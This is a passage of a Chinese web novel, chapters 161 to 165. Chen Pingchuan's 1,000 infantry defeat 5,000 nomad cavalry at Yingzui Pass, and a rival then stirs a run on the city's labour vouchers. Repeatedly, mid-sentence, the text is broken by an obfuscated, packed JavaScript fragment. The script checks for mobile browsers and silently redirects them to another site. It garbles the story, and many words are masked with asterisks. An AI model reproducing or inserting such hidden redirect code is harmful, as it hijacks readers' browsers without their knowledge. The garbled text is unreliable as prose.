所以这家伙急于打下一座城池,一来可以抢掠物资,缓解部落的困境。 二来也可以向其他部落,特别是向塔利罕证明,就算他的勇士深受毒害,他秃鹫部的实力,也是草原上最强的! 这是一种内部权力的斗争,却意外地打乱了陈平川的全盘部署。 “这个头脑简单的蠢货!” 陈平川心里暗骂一声。 但他知道,现在不是骂人的时候。 鹰嘴关,确实必须救。 这不仅是军事上的需要,更是**上的需要。 他陈平川来到顺城,打出的旗号就是保境安民。 如果眼睁睁看着鹰嘴关被屠,数千军民惨死,那他刚刚在顺城建立起来的威信和民心,将瞬间崩塌! 到时候,别说对抗蛮族联军,恐怕顺城内部自己就先乱了。 “救!当然要救!” 陈平川斩钉截铁地说道。 他看向赵莽。 “赵将军,我们现在能调动的兵力,有多少?” 赵莽毫不犹豫地回答:“回大人!经过这几天的整编和训练,我们已经组建了三个满编营,共计三千人!随时可以出城作战!” “三千人……” 陈平川沉吟了片刻。 顺城还需要留兵防守,不可能倾巢而出。 那名信使听到有三千援军,脸上顿时露出狂喜之色。 “太好了!陈大人,求您快发兵吧!有三千精锐,我们一定能守住鹰嘴关!” 他以为陈平川会把这三千人都派出去。 然而,陈平川接下来的话,却让他如坠冰窟。 “赵将军,你立刻点齐一千人,带足三天的干粮和箭矢,即刻出发,驰援鹰嘴关!” “一……一千人?” 信使愣住了,他简直不敢相信自己的耳朵。 他急切地说道:“大人!不够啊!绝对不够啊!” “秃鹫部的蛮子有五千多人!而且个个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990528|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是骑兵,来去如风!我们鹰嘴关地势虽然险要,但城墙低矮破旧,根本禁不住他们这么冲啊!” “一千步兵过去,连给他们塞牙缝都不够!这……这不是去送死吗?” 信使急得都快哭了。 他拼了命跑回来求援,结果只求到一千人,这让他如何回去向关内还在苦苦支撑的军民交代? 赵莽也有些迟疑。 “大人,一千人是不是太少了点?秃鹫部虽然有勇无谋,但战斗力在三部之中,向来是最彪悍的。我们……是不是再多派一些?” 他倒不是不相信自己训练出来的兵,只是觉得,兵力过于悬殊,风险太大了。 “不必了。” 陈平川的语气,不容置疑。 他走到那名信使面前,拍了拍他的肩膀。 “你放心回去,援军,一千人,已经足够,甚至,绰绰有余!” 他的脸上,带着一种莫名的自信。 “你现在什么都不要想,去吃饱饭,喝口水,好好休息一下。等你睡醒了,就跟着我们的援军一起回去。” “我保证,把鹰嘴关从秃鹫部手里救下来!” 那信使被陈平川的气场镇住了,张了张嘴,却一个字也说不出来。 他看着眼前这个比自己还要年轻许多的钦差大人,看着他那双深邃而平静的眼睛,心中那股绝望和焦急,慢慢平复了一些。 虽然理智告诉他这不可能,但情感上,他却不由自主地选择去相信。 “是……是,大人……” 他浑浑噩噩地点了点头,被人带了下去。 书房里,只剩下陈平川和赵莽。 赵莽看着陈平川,终于还是忍不住问道:“大人,您……真的有把握?” “我对我的战士们有把握!这是我们‘陈家军’的第一战,也是我们向整个草原,展示我们新战法和新武器的立威之战!” 陈平川走到窗边,望向远处校场,远远传来士兵进行队列训练,发出的震天吼声。 “我要让所有人都看看,撼山易,撼我陈家军,难!” “这一战,不仅要救鹰嘴关,更要打出我们的威风,打出顺城的士气,打掉蛮族的嚣张气焰!” “一千人,足够了!” 第161章 铁甲出雄关,一战定乾坤! 半个时辰后,顺城校场。 一千名将士,已经集结完毕。 他们身穿秦王送来的崭新铠甲,手持寒光闪闪的麻扎刀和**,腰间挂着箭壶,背上背着行囊。 没有喧哗,没有交头接耳。 一千人,组成十个整齐的百人方阵,静静地肃立在校场之上,如同一片沉默的钢铁森林。 阳光照在他们明亮的甲片上,反射出森然的寒光。 一股无形而又强大的肃杀之气,在校场上空弥漫开来。 赵莽站在点将台上,看着眼前这支由自己一手操练出来的军队,心中感慨万千。 才几天功夫? 这些兵,已经完全脱胎换骨! 从前那些歪歪扭扭,站没站相,坐没坐相的兵痞子,如今一个个都站得笔直,眼神坚毅,身上透着一股子精气神。 这就是队列训练和严明军纪带来的改变! 这就是陈大人所说的“军魂”! “弟兄们!” 赵莽的声音,如同洪钟一般,传遍了整个校场。 “养兵千日,用兵一时!现在,考验我们的时候到了!” “城西鹰嘴关,正被五千秃鹫部的蛮子**!关内数千同胞,正等着我们去救!” “陈大人有令,命我等即刻出征,驰援鹰嘴关!” 他的话音刚落,台下的一千将士,没有任何骚动。 他们的脸上,没有恐惧,只有一种叫做“战意”的东西在燃烧。 “大人只派了我们一千人!” 赵莽的声音陡然拔高。 “我知道,你们当中,肯定有人会想,一千人,打五千人,这不是去送死吗?” “我现在就告诉你们!” 他猛地拔出腰间的佩刀,刀尖直指苍穹。 “没错!在以前,我们一千人,遇到五千蛮子骑兵,除了等死,没有第二条路!” “但是现在!不一样了!” “看看你们身上的新铠甲!看看你们手里的新兵器!想想我们这半个月来,流了多少汗,吃了多少苦!想想陈大人教给我们的‘叠阵’战术!” “我们,不再是以前那支一触即溃的孬种军队!我们是‘陈家军’!是守护顺城,守护大业朝百姓的铁壁铜墙!” “此去鹰嘴关,我们不是去送死!是去**!是去建功立业!” “你们,有没有信心,跟着我赵莽,用我们一千人的刀,去砍下五千个蛮子的脑袋?!” “有!有!有!” 一千将士,齐声怒吼。 那声音,汇聚成一股惊天动地的声浪,直冲云霄,震得整个顺城都嗡嗡作响。 在后厨刚刚吃饱喝足,正准备跟着队伍出发的那名鹰嘴关信使,听到这山呼海啸般的呐喊,整个人都惊呆了。 他看着校场上那支气势如虹的军队,感受着那股扑面而来的强大自信和冲天杀气,心中的疑虑和恐惧,竟然在不知不觉中消散了大半。 这……这真的是顺城的守军吗? 怎么和他印象中那支暮气沉沉,连军饷都发不出来的军队,完全不一样了? 陈平川站在城楼上,满意地看着这一切。 一支有精气神的军队,是不可战胜的! 他转过身,对着身边的张若素和刘四海说道:“我也要随军出征,城中的事务,就拜托二位了。” 张若素闻言,心中一紧。 “大人,您也要去?战场之上,刀剑无眼,实在是太危险了!” 她知道陈平川智谋过人,但毕竟是一介书生,亲临前线,万一有个三长两短,那后果不堪设想。 刘四海也连忙劝道:“是啊大人,您是咱们顺城的主心骨,坐镇后方,运筹帷幄即可,何必亲身犯险?” “不。” 陈平川摇了摇头。 “这一战,至关重要,我必须亲自去。” “一来,‘叠阵’战术是第一次实战应用,需要我临场指挥,根据战况随时做出调整。” “二来,这也是一个收服鹰嘴关守军,将他们也纳入我们体系的绝佳机会。” “最重要的一点,” 陈平川的眼中,闪过一丝锐利的光芒。 “我要让那个塔利罕,通过秃鹫部的惨败,清清楚楚地看到我的实力。我要在他心里,种下一颗名为‘恐惧’的种子!” “这叫攻心为上!” 见他心意已决,张若素和刘四海知道再劝无用。 “大人,您……万事小心。” 张若素的眼眶有些泛红,千言万语,最终只化作一句叮咛。 陈平川对着她温和一笑。 “放心,我比谁都惜命。” 说完,他便转身,大步走下城楼。 …… 大军开拔。 一千人的步兵队伍,迈着整齐划一的步伐,如同一条巨龙,浩浩荡荡地开出了顺城。 那名鹰嘴关的信使,骑着一匹新换的战马,跟在队伍的最前面。 他回头看了一眼这支军队,心中依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990529|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧充满了不真实的感觉。 没有战前的鼓噪,没有乱糟糟的队形。 整支队伍,除了整齐的脚步声和盔甲摩擦的碰撞声,安静得可怕。 每一个士兵,都目不斜视,腰杆挺得笔直,手中的武器紧紧握着,仿佛随时准备投入战斗。 这种纪律性,这种沉稳的气势,他只在京城的禁军身上见过! 他们应该……能赢吧? 信使的心中,第一次,对这个问题的答案,产生了一丝动摇。 他不再像来时那样绝望,反而生出了一股连他自己都觉得荒谬的期待。 或许…… 或许那个年轻的陈大人,真的能创造奇迹? **,陈平川为这场“立威之战”,准备的后手,远不止他看到的这些。 在队伍的最后方,混杂在辎重车队里的几辆不起眼的板车上,正盖着厚厚的油布。 油布下面,是十个黑乎乎的“震天雷”。 这,才是陈平川真正的**锏! 他要用一场酣畅淋漓,甚至堪称碾压式的胜利,来宣告“陈家军”的正式崛起! …… 鹰嘴关。 夕阳如血,将整个关隘都染上了一层悲壮的色彩。 喊杀声、惨叫声、兵器碰撞声,响彻云霄。 关隘的城墙上,到处都是豁口和裂痕。 残破的战旗在寒风中无力地飘摇,惨烈的战斗还在持续。 “顶住!都给老子顶住!” 一个独臂的校尉,挥舞着手中的钢刀,声嘶力竭地怒吼着。 他的身上,插着两支羽箭,鲜血浸透了半边铠甲,但他仿佛感觉不到疼痛,依旧死死地守在一个刚刚被蛮族骑兵冲开的缺口处。 在他身后,仅剩的三百多名守军,人人带伤,个个浴血。 他们背靠着背,组成一个个小小的防御圈,用血肉之躯,艰难地抵挡着数倍于己的敌人。 他们的眼神中,有疲惫,有绝望,但更多的是一种同归于尽的疯狂。 这是大业朝边防守军最后的血性! 城墙之下,秃鹫部的蛮族骑兵,如同黑色的潮水,一波又一波地冲击着这座摇摇欲坠的关隘。 秃鹫首领正骑在一匹高大的战马上,放声狂笑。 “哈哈哈!给我冲!再加把劲!” “城破之后,里面的男人,全部杀光!女人和财宝,都是你们的!” “第一个冲进关内的勇士,我赏他一百个奴隶!一箱金子!” 第162章 以少胜多,逆杀骑兵,教科书式的胜利! 重赏之下,蛮族骑兵们更加疯狂了。 他们嗷嗷叫着,挥舞着弯刀,踩着同伴的尸体,不顾一切地向城墙的缺口涌去。 胜利,似乎已是囊中之物。 为了这次胜利,秃鹫首领把部落中几乎所有精锐都带来了。 他甚至已经开始幻想着,自己提着鹰嘴关守将的头颅,回到部落联盟,接受其他首领,特别是那个年轻小子塔利罕羡慕和嫉妒的目光。 就在这时,关隘的后方,突然响起了震天的鼓声! 咚!咚!咚! 那鼓声,沉闷而又有力,仿佛踏在所有人的心口上。 秃鹫首领脸上的笑容一僵,他猛地回头望去。 只见远方的地平线上,出现了一支黑色的军队。 那支军队,人数并不多,看起来也就千把人。 但他们的队形,却整齐得可怕。 一个个方阵,如同用尺子量过一般,棱角分明。 他们迈着沉稳而又统一的步伐,不快不慢,就那样一步一步地,朝着战场压了过来。 “援军!是顺城的援军到了!” 城墙上,有眼尖的守军发出了惊喜的呼喊。 绝望的守军们,精神为之一振,纷纷朝着那个方向望去。 然而,当他们看清援军的人数时,刚刚燃起的希望之火,瞬间又被一盆冷水浇灭。 “就……就这么点人?” “好像才一千人?他们是来送死的吗?” 独臂校尉的心,也沉到了谷底。 他甚至开始破口大骂:“陈平川!你个狗官!见死不救!老子做鬼也不会放过你!” 在他看来陈平川的援军八成是走个过场,不等和敌人接触,就直接溃逃了。 城外的秃鹫首领,在短暂的惊愕之后,也爆发出一阵更加猖狂的大笑。 “哈哈哈哈!我还以为来了多少人!原来就这么一千个步兵!” “正好,省得老子再去顺城了!” 他大手一挥,指向那支正在靠近的援军,下达了命令。 “分出两千人!去!给老子把他们碾碎!” “是!” 两千名蛮族骑兵,发出一声兴奋的嚎叫,立刻分拨而出,调转马头,朝着陈平川的军队,发起了冲锋。 马蹄翻飞,尘土飞扬。 两千骑兵,如同两股黑色的洪流,从左右两个方向,向着那一千步兵包抄而去。 在他们看来,这场战斗,毫无悬念。 步兵对骑兵,而且是数量占据绝对优势的骑兵,结果只有一个,那就是被无情地冲垮、碾碎、**! 城墙上的守军,都绝望地闭上了眼睛,不忍心再看接下来那血腥的一幕。 然而,让他们,也让所有蛮族骑兵意想不到的一幕,发生了。 面对两翼包抄而来的骑兵洪流,那一千人的步兵方阵,非但没有丝毫慌乱,反而迅速地做出了反应。 “变阵!” 随着赵莽一声令下。 十个百人方阵,瞬间而动。 最外围的士兵,齐刷刷地将手中三米多长的**,斜着四十五度角,狠狠地插在地上,枪尾用脚死死抵住。 一瞬间,一个由无数锋利枪尖组成的“钢铁刺猬阵”,就出现在了战场上! 第二排的士兵,则蹲下身,手中的钩镰枪,从第一排**的缝隙中伸了出去,闪着寒光的钩刃,对准了即将冲来的马腿。 最后两排的**手,则迅速地搭弓上箭,冰冷的箭头,遥遥锁定了冲锋的敌人。 **在前,钩镰枪在后,**手压阵! 这,就是陈平川改良的“叠阵”! 一个层次分明,远近结合,专门克制骑兵冲锋的杀戮机器! “放!” 当蛮族骑兵冲进一百五十步的距离时,赵莽的命令,再次响起。 咻咻咻咻! 五百支**箭,如同一片乌云,腾空而起,在空中划过一道死亡的弧线,精准地覆盖了冲在最前面的蛮族骑兵。 “啊!” “噗嗤!” 惨叫声,战马的悲鸣声,瞬间响成一片。 冲在最前面的上百名骑兵,连人带马,如同被割倒的麦子一样,纷纷栽倒在地。 后面的骑兵,来不及躲闪,直接撞了上去,一时间人仰马翻,冲锋的阵型,顿时出现了一丝混乱。 “放!” 不等他们重振旗鼓,第二轮箭雨,已经接踵而至。 又是一片人仰马翻。 两轮齐射,就让两千人的骑兵,损失了近四分之一! “冲!冲过去!杀了他们!” 蛮族骑兵的将领,眼睛都红了,他挥舞着弯刀,不顾一切地催促着手下继续冲锋。 他们不信,这些步兵的箭,能一直射下去! 只要冲到跟前,就是他们**的时刻! 终于,在付出了数百人的伤亡之后,剩下的蛮族骑兵,终于冲到了步兵方阵的面前! 他们挥舞着弯刀,脸上带着狰狞的笑容,准备享受撕碎敌人的快感。 然而,等待他们的,是那一片闪烁着死亡寒光的钢铁丛林! “噗!噗!噗!” 冲在最前面的战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990530|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马,根本来不及停下,一头就撞上了那如林的**。 锋利的枪尖,轻而易举地刺穿了马匹的胸膛,甚至连带着将马背上的骑手,也一同贯穿! 凄厉的悲鸣声中,一匹又一匹的战马,轰然倒地。 后面的骑兵,则被第二排伸出的钩镰枪,狠狠地钩住了马腿。 战马发出一声悲鸣,瞬间失衡,将背上的骑士重重地摔在地上。 还没等他们爬起来,就被后面冲上来的同伴,踩成了肉泥。 整个战场,在这一刻,仿佛变成了一台巨大的绞肉机。 蛮族骑兵引以为傲的速度和冲击力,在这个“刺猬阵”面前,被克制得死死的! 他们冲不进去,退不出来,只能在阵前徒劳地奔走,然后被**手一一点名射杀,或者被**和钩镰枪,拖入死亡的深渊。 这还不算完,陈平川一挥手,几名士兵,点燃了手里的“震天雷”,直接丢到了敌群之中。 轰隆隆! 几声惊天动地的巨响,几乎要将人的耳膜震碎! 耀眼的火光冲天而起,**中心,数十名挤在一起的蛮族骑兵连人带马,瞬间被狂暴的力量撕成了碎片! 残肢断臂混杂着血肉,被灼热的气浪掀飞到半空中,化作一场血雨。 无数烧得通红的铁片四散飞溅,如同死神的镰刀,将周围的骑兵射得千疮百孔,惨叫声此起彼伏,却又瞬间被下一声**淹没。 这闻所未闻、见所未见的恐怖武器,彻底击溃了蛮族骑兵最后的心理防线。 “天神发怒了!” “是巫术!是恶魔的巫术!” 幸存的骑兵们发出惊恐到变调的嚎叫,他们扔掉武器,疯了一般地拨转马头,只想逃离这个修罗地狱。 恐惧彻底吞噬了他们的理智,整个骑兵阵线瞬间崩溃,变成了毫无秩序的溃逃,自相践踏,死伤无数。 城墙上,所有人都看呆了。 独臂校尉张大了嘴巴,忘记了身上的疼痛。 那些守军,也停止了哀嚎,一个个目瞪口呆地看着城外那场堪称“**”的战斗。 这……这还是他们认知中的步兵吗? 这简直比最精锐的重甲骑兵还要可怕! “撤!快撤!” 蛮族的将领,终于感到了发自内心的恐惧,他嘶吼着,下令撤退。 陈平川站在军阵之中,周围响起士兵们激动的欢呼。 这是一场彻彻底底的碾压! 一场步兵对骑兵的,教科书式的胜利! 陈家军,初战封神! 第163章 大捷声犹在,挤兑风波起 鹰嘴关大捷! 一千步卒大破五千蛮族骑兵,斩首一千余,俘虏近五百,秃鹫部精锐尽丧,狼狈逃窜! 这个消息,在第二天清晨,就传回了顺城。 整个顺城,瞬间陷入了一片狂欢的海洋。 “赢了!我们打赢了!” “陈大人威武!赵将军威武!” “哈哈哈!太解气了!让那帮蛮子再嚣张!” 百姓们奔走相告,脸上洋溢着发自内心的喜悦和自豪。 那些正在修缮城墙的民夫们,干活也更有劲了。 他们手中的“劳务券”,含金量也在直线上升。 陈大人不仅能让他们过上好日子,更能带领他们打胜仗,保护他们的家园! 这样的官,值得他们用性命去追随! 原本还有些犹豫,想把劳务券兑换成现钱的百姓,此刻也都打消了念头。 开玩笑! 打了这么大的胜仗,顺城肯定稳如泰山了! 这劳务券,以后肯定会越来越值钱!现在换了,那不是傻子吗? 一时间,陈平川的威望,在顺城达到了前所未有的顶峰。 府衙内,张若素和刘四海听着外面传来的欢呼声,也是相视一笑,满脸喜色。 “陈大人,真乃神人也!” 刘四海抚着胡须,由衷地感叹道。 “以一千步卒,大破五千骑兵,这种以少胜多的战绩,只在评书里才听过,竟然真的发生了!我刘四海活了半辈子,今天算是开了眼了!” 张若素也是心潮澎湃,她清丽的脸上,泛起一抹动人的红晕。 她的脑海中,不由自主地浮现出陈平川那自信从容的身影。 那个男人,总能在绝境中,创造出让人难以置信的奇迹。 然而,就在全城都沉浸在胜利的喜悦中时。 梁坤的脸色,却阴沉得能滴出水来。 他坐在一家茶楼的雅间里,听着窗外百姓们对陈平川的**,手中的茶杯,被他捏得“咯咯”作响。 “赢了……他竟然真的赢了……” 梁坤的牙齿咬得死死的,眼中充满了怨毒。 他想不通! 他怎么也想不通! 陈平川一个手无缚鸡之力的书生,凭什么? 凭什么他能这么快就收服了赵莽那个老顽固? 凭什么他能让那些贱民死心塌地地为他卖命? 凭什么他能用一千步兵,打败五千个如狼似虎的蛮族骑兵? 这一切,都超出了他的认知,让他感到了一种发自内心的恐惧。 他猛然意识到,如果再让陈平川这么发展下去,自己恐怕就再也没有机会扳倒他了! 甚至,等陈平川赶走蛮族,彻底掌控顺城,腾出手来,第一个要对付的,就是自己! 不行! 绝对不能让他得逞! 必须想个办法,在他声望达到顶峰的时候,给他致命一击! 梁坤的眼中,闪过一丝阴狠的光芒。 硬碰硬,他肯定不是陈平川的对手。 那就只能用阴招,用毒计! 打蛇打七寸。 陈平川现在最大的依仗是什么? 是民心! 是那些被他用“劳务券”和一场大胜仗忽悠得团团转的愚蠢百姓! 只要毁了他的民心,让他众叛亲离,那他陈平川,就成了无根之木,无源之水,自己想怎么拿捏,就怎么拿捏! 一个阴毒的计划,在梁坤的脑中浮现出来。 他让自己的心腹,找到一个在顺城潜伏多年的地头蛇,给足好处,让对方为自己办事。 那地头蛇听完,脸上露出一丝惊恐,但看到梁坤那**般的眼神,又连忙点头哈腰地退了出去。 很快,一场针对陈平川的**风暴,就在顺城悄然刮起。 最先出现异样声音的,是那些修缮城墙的民夫之中。 “哎,你们听说了吗?鹰嘴关那一仗,咱们是赢了,可咱们的损失也不小啊!” 一个尖嘴猴腮的汉子,在休息的时候,故作神秘地对周围的人说道。 “我表哥的邻居的二舅,就在军中当差,他偷偷跟我说,咱们那一千人,活着回来的,不到五百个!新发的铠甲兵器,也全都打烂了!” “什么?**这么多人?” 周围的民夫们大吃一惊。 “可不是嘛!” 那汉子一拍大腿,压低了声音。 “你们想啊,那可是五千蛮子骑兵!能赢就不错了,哪能不**?” “最要命的是,我听说,陈大人为了打这一仗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990531|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把咱们公济库里最后那点家底,全都掏空了!现在府库里,比咱们的脸都干净!” “啊?那……那我们手里的劳务券怎么办?官府没钱了,拿什么给我们兑换?” 人群中,立刻有人担忧地问道。 这一下,直接戳中了所有人的痛点。 那尖嘴猴腮的汉子,见火候差不多了,立刻抛出了最关键的一句话。 “我告诉你们,你们可别跟别人说啊!我听说,陈大人之所以这么大方地给我们发劳务券,就是因为他早就没钱了!他这是在用一张空头白纸,骗我们给他卖命呢!” “等城墙修好了,蛮子被打退了,他拍拍屁股,高升回京城了,我们这几万人的工钱,找谁要去?到时候,这劳务券就是一张废纸!” 轰! 这句话,如同一颗炸雷,在所有民夫的心中炸响。 是啊! 陈大人虽然是好官,可他总不能一辈子待在顺城吧? 万一他走了,换个新来的官,不认这个账怎么办? 这种事情,以前又不是没发生过! 一时间,恐慌的情绪,如同瘟疫一般,迅速在人群中蔓延开来。 “不行!我得赶紧去把券换成钱!拿到手里的才是自己的!” “对对对!我也去!晚了怕是就换不到了!” “走!大家一起去!法不责众!我就不信他敢不给钱!” 谣言,经过一传十,十传百的发酵,变得越来越离谱。 有的说陈平川已经准备卷款跑路了。 有的说之前送来的那些物资,是陈平川挪用**买的,现在朝廷要来查账,马上就要露馅! 说的有鼻子有眼,由不得人不信。 于是,刚刚还万众一心的顺城,风向突变。 成千上万的百姓,放下了手中的工具,从城市的四面八方,潮水般地涌向了知州府衙。 他们手中,紧紧攥着那张曾经被他们视为希望的“劳务券”,脸上,却写满了被欺骗的愤怒和恐慌。 一场巨大的挤兑风暴,已然形成。 茶楼上,梁坤看着窗外那黑压压的,如同愤怒潮水般的人群,嘴角,终于勾起了一抹得意的冷笑。 陈平川! 我看你这次,怎么收场! 第164章 疯了吗?空仓兑付,这是自寻死 “兑钱!兑钱!” “陈平川出来!还我们血汗钱!” “不能让他跑了!” 知州府衙门前,人声鼎沸,群情激愤。 数千名百姓将府衙围得水泄不通,一张张因为愤怒和恐慌而扭曲的脸,显得格外狰狞。 他们挥舞着手中的劳务券,如同挥舞着讨伐的檄文,一声高过一声地呐喊着,声浪几乎要将府衙的屋顶掀翻。 几十名府衙的护卫,手持水火棍,组成一道薄弱的人墙,拼命地抵挡着不断向前拥挤的人潮,一个个脸色发白,冷汗直流。 他们感觉自己面对的,不是手无寸铁的百姓,而是一头即将失控的野兽。 只要有一个人冲破防线,后面的人就会像决堤的洪水一样,瞬间将整个府衙吞没。 “大家静一静!请听我说!” 刘四海站在府衙门口的石狮子上,扯着嗓子,脸红脖子粗地大喊。 “大家不要听信谣言!陈大人绝不是那样的人!鹰嘴关大捷,府库的缴获很快就会运回来,我们有钱!大家不要慌!” 然而,他一个人的声音,很快就被淹没在了山呼海啸般的声浪之中。 “有钱?有钱你倒是拿出来啊!” “别跟他废话!他跟陈平川是一伙的!就是想拖延时间!” “冲进府库去!我们自己拿!” 人群的情绪,已经彻底失控,根本听不进任何解释。 刘四海急得满头大汗,却又无可奈何。 他第一次发现,这些平日里温顺淳朴的百姓,一旦被煽动起来,竟然会变得如此可怕。 “都住手!” 就在这时,一个清亮而又威严的女声响起。 张若素从府衙内快步走出,她站在台阶上,环视着一张张愤怒的脸。 “各位父老乡亲,我是张若素!是为大家核算军饷抚恤,为大家施粥放粮的‘女先生’!” “我用我的人格向大家担保,陈大人绝不会拖欠大家的工钱!请大家给我们一点时间,不要做出让自己后悔的事情!” 张若素的出现,让骚动的人群有了一瞬间的安静。 她在顺城百姓中的声望很高,很多人都受过她的恩惠。 但是,这安静只持续了短短几秒钟。 人群中,一个被梁坤收买的泼皮,立刻阴阳怪气地大喊起来。 “女先生?哼!谁知道你是不是也被那姓陈的给骗了!” “就是!你一个女流之辈,懂什么军国大事!我看你也是被他的花言巧语给蒙蔽了!” “别信她的!她跟陈平川关系不一般,肯定帮着他说话!” 这几句话,恶毒至极,瞬间将矛头引向了张若素。 人群再次鼓噪起来,甚至有人开始用污言秽语,对着张若素指指点点。 张若素的脸,“唰”的一下变得惨白。 她没想到,这些她曾经尽心尽力帮助过的百姓,此刻竟然会用如此恶毒的言语来揣测她。 一股巨大的委屈和无力感,涌上心头。 她张了张嘴,却发现自己一个字也说不出来。 在群体的狂热面前,任何理性的声音,都显得那么苍白无力。 “完了……完了……” 刘四海看着眼前这副景象,一颗心沉到了谷底。 他知道,局势已经彻底失-控了。 今天,陈大人好不容易建立起来的一切,恐怕就要毁于一旦。 不远处的茶楼上。 梁坤端着茶杯,悠闲地欣赏着府衙门前的这出“好戏”,脸上的笑意,越来越浓。 “跟我斗?你还嫩了点!” 他得意地自言自语。 “陈平川啊陈平川,你千算万算,也算不到,水能载舟,亦能覆舟!” “你以为你赢得了民心?错!民心,是天底下最靠不住的东西!也是最容易被利用的武器!” “今天,我就让你亲眼看看,你是怎么被你最信任的‘民心’,给活活淹死的!” 他仿佛已经看到,陈平川焦头烂额,威信扫地,最终被愤怒的百姓打死的场面。 就在这千钧一发之际。 “都让开!” 一个沉稳而又有力的声音,从外面传来。 人群的喧嚣,为之一顿。 所有人,都不由自主地转过头,望向声音传来的方向。 只见陈平川身着一身青色官袍,在一队亲兵的护卫下,迈着沉稳的步伐,缓缓走了出来。 他的身后,跟着刚刚从鹰嘴关凯旋归来的赵莽。 赵莽一身戎装,脸上还带着未曾消散的杀气,目光如刀,扫过在场的每一个人。 那些叫嚣得最凶的百姓,被他这眼神一看,顿时感觉脖子后面凉飕飕的,不自觉地后退了半步,声音也小了下去。 陈平川没有说话。 他就那样静静地站在台阶上,目光平静地扫过眼前黑压压的人群。 没有愤怒,没有惊慌,甚至没有一丝一毫的情绪波动。 他那平静的眼神,仿佛有一种无形的魔力,让原本嘈杂混乱的场面,竟然奇迹般地,一点一点地安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990532|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静了下来。 所有人的目光,都聚焦在了他的身上。 他们在等待。 等待着这位创造了无数奇迹的年轻大人,给他们一个说法。 时间,仿佛在这一刻凝固了。 许久,陈平川才缓缓开口。 他的声音不大,却清晰地传到了在场每一个人的耳朵里。 “我听说,大家担心手里的劳务券,会变成一张废纸?” “担心我陈平川,会拖欠你们的血汗钱?担心我这个知州,会卷款跑路?” 他每问一句,台下百姓的头,就低下一分。 很多人,脸上都露出了羞愧的神色。 “好。” 陈平川点了点头。 “既然大家信不过我陈平川,信不过知州府,那今天,我就给大家一个交代。” 他转过身,对着身后的刘四海和张若素说道。 “传我的命令。” “从现在开始,打开公济库!” “所有持有劳务券的百姓,都可以凭券,前来兑换现银!” “一文钱,都不会少你们的!” 什么?! 此话一出,所有人都愣住了,包括刘四海和张若素。 他们简直不敢相信自己的耳朵。 公济库里有多少钱,他们比谁都清楚! 那点钱,别说兑换所有人的劳务券,恐怕连十分之一都不够! 现在打开府库兑换,那不是瞬间就会被挤兑一空,让府库空虚的谣言,彻底坐实吗? 这不是饮鸩止渴,这是在自寻死路啊! “大人!不可啊!” 刘四海和张若素,异口同声地惊呼道。 而那些百姓,在短暂的错愕之后,爆发出了一阵更加巨大的骚动! “听到了吗!可以兑钱了!” “快!快去排队!” 人群,如同被点燃的**桶,彻底炸开了! 他们再也顾不上其他,疯了一样地向着公济库的方向冲去。 茶楼上,梁坤先是一愣,随即爆发出了一阵狂笑。 “哈哈哈哈!蠢货!真是个天大的蠢货!” “我还以为你有什么高招,原来就是个不知死活的愣头青!” “天堂有路你不走,地狱无门你偏要闯!陈平川,你死定了!” 他看着那彻底失控的人潮,仿佛已经看到了陈平川被架在火上烤,最终身败名裂的下场。 然而,就在所有人都以为大局已定的时候。 陈平川那不紧不慢的声音,再次响起。 “大家,先别急。” 第165章 梁坤傻眼了!这是人能想出的计谋? 